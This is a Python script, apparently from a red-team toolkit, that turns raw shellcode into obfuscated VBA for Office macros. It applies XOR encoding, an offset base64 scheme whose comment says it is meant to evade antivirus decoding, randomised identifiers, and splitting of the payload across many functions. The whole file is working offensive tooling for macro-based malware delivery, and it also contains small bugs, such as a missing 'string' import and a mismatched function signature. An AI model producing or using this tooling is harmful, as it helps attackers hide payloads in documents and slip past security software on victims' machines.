#!/usr/bin/python3

import os, sys, re
import argparse
import random
import base64
import ctypes

globalOpts = {
    'verbose': True, 
    'debug': False
}

compactShellcode = True
base64EncodeAlreadyAdded = False

globalCounter = 0
namesCache = {}


def xorEncode32(data, key):
    xored = []
    n = len(data) - (len(data) % 4)
    for i in range(0, n, 4):
        val = data[i:i+4]
        num = ctypes.c_uint(((val[3]) << 24) | ((val[2]) << 16) | ((val[1]) << 8) | ((val[0])))
        res = key ^ num.value

        xored.append(str((res & 0xff)))
        xored.append(str((res & 0xff00) >> 8))
        xored.append(str((res & 0xff0000) >> 16))
        xored.append(str((res & 0xff000000) >> 24))

    for i in range(len(data) % 4):
        res = (data[i+n]) ^ (key & 0xff)
        xored.append(str(res))

    out = bytearray([int(x) for x in xored])
    return out

def xorEncode8(data, key):
    xored = []
    k = key

    if type(data) == str:
        data = data.encode()

    for i, byte in enumerate(data):
        xored.append(byte ^ key)
    return bytearray(xored)

def base64Encode(_txt):
    txt = bytearray(_txt)
    for i in range(len(txt)):
        a = (txt[i] - 35)
        if a < 0:
            a = (256 + txt[i]) - 35

        txt[i] = a

    return base64.b64encode(txt)

def base64Decode(txt):
    _out = base64.b64decode(txt)
    out = bytearray(_out)

    for i in range(len(out)):
        out[i] = (_out[i] + 35) % 256
    return out

def genName(prefix, names):
    return _genName(prefix+'Func', names)

def _genName(prefix, names):
    global globalCounter
    
    globalCounter += 1
    name = prefix + f'{globalCounter}'
    if name not in names:
        names.append(name)
        return name

    length = 5
    rnd = ''.join(random.choice(string.ascii_letters) for i in range(length-1))
    name = prefix + f'{globalCounter}A' + rnd
    if name not in names:
        names.append(name)
        return name

    assert False, "genName never returned an unique symbol candidate!"

def genVar(prefix, names):
    return _genName(prefix+'Var', names)

def getXorDecoder(self):
    decoder = '''

' Xor function 
Private Function obf_XorCipher(ByRef obf_EncodedBytes() As Byte, ByVal obf_XorKey As Byte) As Byte()
    Dim obf_Temp() As Byte
    Dim obf_counter As Long

    ReDim obf_Temp(UBound(obf_EncodedBytes))
    For obf_counter = 0 To UBound(obf_EncodedBytes)
        obf_Temp(obf_counter) = obf_EncodedBytes(obf_counter) Xor obf_XorKey
    Next obf_counter
    obf_XorCipher = obf_Temp
End Function

'''
    return ('obf_XorCipher', '\r\n' + decoder + '\r\n')

def getBase64Decoder(manual = False):
    return f'''

' Base64 decoder
Private Function obf_DecodeBase64(ByVal obf_EncodedData As String) As Byte()
    On Error GoTo obf_ProcError
    Dim obf_XmlDom, obf_XmlNode, obf_Decoded, obf_Counter
    Set obf_XmlDom = CreateObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
    Set obf_XmlNode = obf_XmlDom.createElement("obf_someInternalName")
    obf_XmlNode.DataType = "bin.base64"
    obf_XmlNode.Text = obf_EncodedData
    obf_Decoded = obf_XmlNode.NodeTypedValue

    ' This for-loop adjusts each byte by adding +35 to evade AVs capable of
    ' base64-decoding in-the-fly
    For obf_Counter = LBound(obf_Decoded) To UBound(obf_Decoded)
        obf_Decoded(obf_Counter) = (obf_Decoded(obf_Counter) + 35) Mod 256
    Next
    obf_DecodeBase64 = obf_Decoded
    Exit Function
obf_ProcError:
End Function

Private Function obf_DecodeBaseText64(ByVal obf_EncodedData As String) As String
    Dim obf_temp() As Byte
    obf_temp = obf_DecodeBase64(obf_EncodedData)
    obf_DecodeBaseText64 = StrConv(obf_temp, vbUnicode)
End Function

'''


def shellcode2vbaFile(infileData, outfile, compressmethod, encoding, start, prefix, xorDecoder = '', xorkey = 0, manualBase64Decoder = False):
    script = shellcode2vba(infileData, compressmethod, encoding, start, prefix, xorDecoder, xorkey, manualBase64Decoder = manualBase64Decoder)

    if (type(xorkey) == str and len(xorkey) > 0) or (type(xorkey) == int and xorkey != 0):
        decoder = getXorDecoder()[1]
        deco = f'''
{decoder}

'''
        script = deco + script

    with open(outfile, 'w') as f:
        f.write(script)

def shellcode2vba(
    infileData, compressmethod, encoding, start, 
    prefix, xorDecoder = '', xorkey = 0, dontAddDecoder = False, manualBase64Decoder = False):
    global base64EncodeAlreadyAdded

    payload = infileData
    variables = []
    encodingHelper = genName(prefix, variables)

    payloadBytesEmbedded = 0

    if encoding == 'base64':
        encodingHelper = 'obf_DecodeBase64'
        payload = base64Encode(payload)

    var1 = genVar(prefix, variables)
    func1 = genName(prefix, variables)
    var2 = genVar(prefix, variables)
    genVar(prefix, variables)
    genVar(prefix, variables)
    genVar(prefix, variables)
    genVar(prefix, variables)
    genVar(prefix, variables)
    genVar(prefix, variables)
    genVar(prefix, variables)
    helpers = ''
    script = ''

    if encoding == 'none':
        helpers = f'''

Private Function {encodingHelper}({variables[9]}) As String
    Dim {variables[1]}
    Dim {variables[10]} As String
    Dim {variables[3]}
    {variables[10]} = ""
    {variables[1]} = split({variables[9]})
    for {variables[3]} = lbound({variables[1]}) to ubound({variables[1]})
        {variables[10]} = {variables[10]} + Chr({variables[1]}({variables[3]}))
    next
    {encodingHelper} = {variables[10]}
End Function
'''

    elif encoding == 'base64' and not base64EncodeAlreadyAdded and not dontAddDecoder:
        helpers = getBase64Decoder(manualBase64Decoder)
        base64EncodeAlreadyAdded = True


    if len(payload) < 80:
        return helpers + f'''

Public Function {prefix + start}() As String
    {prefix + start} = "{payload}"
End Function
'''

    counter = 0
    countLine = 0

    funcs = []
    variables2 = []
    variables3 = []

    genName(prefix, funcs)
    genVar(prefix, variables2)
    genVar(prefix, variables2)

    script += helpers
    script += f'''
Private Function {funcs[counter]}() As String
    Dim {variables2[counter]} As String
    {variables2[counter]} = ""
'''
    line = ''
    repeatedLines = {}
    lineToVarNames = {}
    lineToVarNames[funcs[counter]] = {}

    for b in payload:
        payloadBytesEmbedded += 1

        if encoding == 'none':
            if len(line) > 0: line += ' '
            line = line + str(b)
        else:
            line = line + str(chr(b))

        if len(line) >= 80:
            if compactShellcode and line in repeatedLines.keys() and repeatedLines[line] > 1:

                if line not in lineToVarNames[funcs[counter]].keys():
                    foo = genVar(prefix, variables3)
                    lineToVarNames[funcs[counter]][line] = foo

                    if encoding == 'none':
                        script += f'''
    Dim {foo}
    {foo} = {encodingHelper}("{line}")
    {variables2[counter]} = {variables2[counter]} + {foo}
'''
                    else:
                        script += f'''
    Dim {foo}
    {foo} = "{line}"
    {variables2[counter]} = {variables2[counter]} + {foo}
'''
                else:
                    foo = lineToVarNames[funcs[counter]][line]
                    script += f'    {variables2[counter]} = {variables2[counter]} + {foo}\n'

                repeatedLines[line] += 1

            else:
                if compactShellcode:
                    if line not in repeatedLines.keys(): 
                        repeatedLines[line] = 0
                    repeatedLines[line] += 1

                if encoding == 'none':
                    script += f'    {variables2[counter]} = {variables2[counter]} + {encodingHelper}("{line}")\n'
                else:
                    script += f'    {variables2[counter]} = {variables2[counter]} & "{line}"\n'

            line = ''
            countLine += 1

            if countLine > 120:
                countLine = 0

                script += f'''
    {funcs[counter]} = {variables2[counter]}
End Function
'''
                genName(prefix, funcs)
                genVar(prefix, variables2)
                counter += 1
                lineToVarNames[funcs[counter]] = {}

                script += f'''
Private Function {funcs[counter]}() As String
    Dim {variables2[counter]} As String
    {variables2[counter]} = ""
'''

    if encoding == 'none':
        script += f'    {variables2[counter]} = {variables2[counter]} + {encodingHelper}("{line}")\n'
    else:
        script += f'    {variables2[counter]} = {variables2[counter]} & "{line}"\n'
        
    countLine += 1
    script += f'''
    {funcs[counter]} = {variables2[counter]}
End Function
'''
    genName(prefix, funcs)
    counter += 1

    script += f'''
Private Function {func1}() As String
    Dim {variables2[counter]} As String
    {variables2[counter]} = ""
'''

    for i in range(counter):
        script += f'''
    {variables2[counter]} = {variables2[counter]} & {funcs[i]}()'''


    wrapper = ''
    if encoding == 'base64':
        wrapper = f'{var1} = StrConv({encodingHelper}({func1}), vbUnicode)'
    else:
        wrapper = f'{var1} = {func1}'

    if len(xorDecoder) > 0 and xorkey:
        key = '{:02x}'.format(xorkey).upper()
        wrapper += f'''
    {var1} = {xorDecoder}({prefix + start}, &H{key})
'''

    script += f'''
    {func1} = {variables2[counter]}
End Function

Public Function {prefix + start}() As String
    Dim {var1} As String
    {wrapper}
    {prefix + start} = {var1}
End Function
'''

    return script

def castToInt(logger, val):
    _val = 0
    if type(val) == int: 
        return val
        
    try:
        base = 10
        if val.lower().startswith('0x') or val.lower().endswith('h'):
            base = 16
        if 'a' in val.lower() or 'b' in val.lower() or 'c' in val.lower() or \
            'd' in val.lower() or 'e' in val.lower() or 'f' in val.lower():
            base = 16

        _val = int(val, base)

    except:
        try:
            _val = int(val, 10)
        except Exception as e:
            msg1 = '[!] Error: given key could not be casted to integer. Use a valid integer number in dec/hex format.'
            msg2 = '[!] Exception: {}'.format(str(e))
            if not logger:
                print(msg1)
                print(msg2)
            else:
                logger.err(msg1)
                logger.err(msg2)
            raise
            sys.exit(1)

    return _val

def keyToInt8(key):
    return (castToInt(None, key) & 0xff)

def keyToInt32(key):
    return (castToInt(None, key) & 0xffffffff)

def keyToString(key):
    return key 

def randomKey(algo):
    if algo == 'xor8':
        return random.randint(1,255)
    elif algo == 'xor32':
        return random.randint(1,2**32-1)
    else:
        return 0 

def xorEncode(algo, key, data):
    if algo == 'xor8':
        _key = keyToInt8(key)
        return xorEncode8(data, _key)
    elif algo == 'xor32':
        _key = keyToInt32(key)
        return xorEncode32(data, _key)
    else:
        return data

def generateVBAShellcode(
    infile, 
    xorkey = 0, 
    compressmethod = 'none', 
    encoding = 'base64', 
    start = 'obf_Shellcode', 
    prefix = '', 
    xorDecoder = '', 
    infileAsData = False,
    dontAddDecoder = False,
    manualBase64Decoder = False
):
    single = False
    anyfile = ''
    if type(infile) == tuple or type(infile) == list:
        if len(infile) == 1:
            single = True
            anyfile = infile[0]
    else:
        single = True
        anyfile = infile

    if single:
        if infileAsData:
            return generateVBAShellcodeData(
                anyfile, xorkey, compressmethod, encoding, start, prefix, xorDecoder, dontAddDecoder, manualBase64Decoder = manualBase64Decoder)

        return _generateVBAShellcode(
            anyfile, xorkey, compressmethod, encoding, start, prefix, xorDecoder, dontAddDecoder, manualBase64Decoder = manualBase64Decoder)
    else:
        if infileAsData:
            x86 = generateVBAShellcodeData(
                infile[0], xorkey, compressmethod, encoding, start+'86', prefix, xorDecoder, dontAddDecoder, manualBase64Decoder = manualBase64Decoder)
            x64 = generateVBAShellcodeData(
                infile[1], xorkey, compressmethod, encoding, start+'64', prefix, xorDecoder, dontAddDecoder, manualBase64Decoder = manualBase64Decoder)
        else:
            x86 = _generateVBAShellcode(
                infile[0], xorkey, compressmethod, encoding, start+'86', prefix, xorDecoder, dontAddDecoder, manualBase64Decoder = manualBase64Decoder)
            x64 = _generateVBAShellcode(
                infile[1], xorkey, compressmethod, encoding, start+'64', prefix, xorDecoder, dontAddDecoder, manualBase64Decoder = manualBase64Decoder)

        return f'''
{x64}

{x86}

Public Function {prefix + start}() As String
#If Win64 Then
    {prefix + start} = {prefix + start}64
#Else
    {prefix + start} = {prefix + start}86
#End If
End Function

'''

#        return f'''
# 
# #If Win64 Then
# 
# {x64}
# 
# #Else
# 
# {x86}
# 
# #End If
# 
# Public Function {prefix + start}() As String
# #If Win64 Then
#     {prefix + start} = {prefix + start}64
# #Else
#     {prefix + start} = {prefix + start}86
# #End If
# End Function
# 
# '''

def _generateVBAShellcode(infile, xorkey, compressmethod, encoding, start, prefix, xorDecoder, dontAddDecoder = False, manualBase64Decoder = False):
    payload = None
    with open(infile, 'rb') as f: 
        payload = f.read()

    return generateVBAShellcodeData(payload, xorkey, compressmethod, 
        encoding, start, prefix, xorDecoder, dontAddDecoder, manualBase64Decoder = manualBase64Decoder)

def generateVBAShellcodeData(
    payload, xorkey, compressmethod, encoding, start, prefix, xorDecoder, dontAddDecoder = False, manualBase64Decoder = False):
    if xorkey:
        xorkey = xorKeyToInt(xorkey)
        payload = xorEncode('xor8', xorkey, payload)

    return shellcode2vba(
        payload, compressmethod, encoding, start, 
        prefix, xorDecoder, xorkey, dontAddDecoder, manualBase64Decoder = manualBase64Decoder)

def xorKeyToInt(xorkey):
    if xorkey:
        if xorkey == 'random':
            xorkey = randomKey('xor8')
            
        return keyToInt8(xorkey)
    
    return 0

def getoptions():

    usage = '\nUsage: ./shellcode2vba.py <infile> <outfile.vba>\n'
    opts = argparse.ArgumentParser(
        usage = usage
    )

    opts.add_argument('infile', help = 'Input shellcode file')
    opts.add_argument('outfile', help = 'Output VBA file')
    opts.add_argument('-e', '--encoding', choices=['none', 'base64'], default='none', help='select encoding: none (default) or base64')
    opts.add_argument('-k', '--xorkey', default='', help='Optionally a XOR key may be specified to encode input file with Xor. Default: no XOR encoding. Specyfing "random" will choose random XOR key.')
    opts.add_argument('-s', '--start', default='Entry', help='Name of Function that returns shellcode contents. Default: Function Entry()')
    opts.add_argument('-p', '--prefix', default='', help='Function and variable names prefix. Default: None')
    args = opts.parse_args()

    if args.xorkey == 'random':
        args.xorkey = randomKey('xor8')
    elif args.xorkey == '' or len(args.xorkey) == 0:
        args.xorkey = 0

    return args


def main(argv):
    args = getoptions()
    payload = None

    print(f'''
    :: Shellcode2Vba - converts input file to a nice VBA code.
       Mariusz Banach / mgeeky
''')

    if not os.path.isfile(args.infile):
        print('Specified input file does not exist.')
        sys.exit(1)

    with open(args.infile, 'rb') as f: 
        payload = f.read()

    if args.xorkey != 0:
        payload = xorEncode('xor8', args.xorkey, payload)

    shellcode2vbaFile(
        payload, args.outfile, 'none', args.encoding, args.start, 
        args.prefix, '', args.xorkey, manualBase64Decoder = False)
    
    print(f'VBA containing shellcode written to: {args.outfile}')

if __name__ == '__main__':
    main(sys.argv)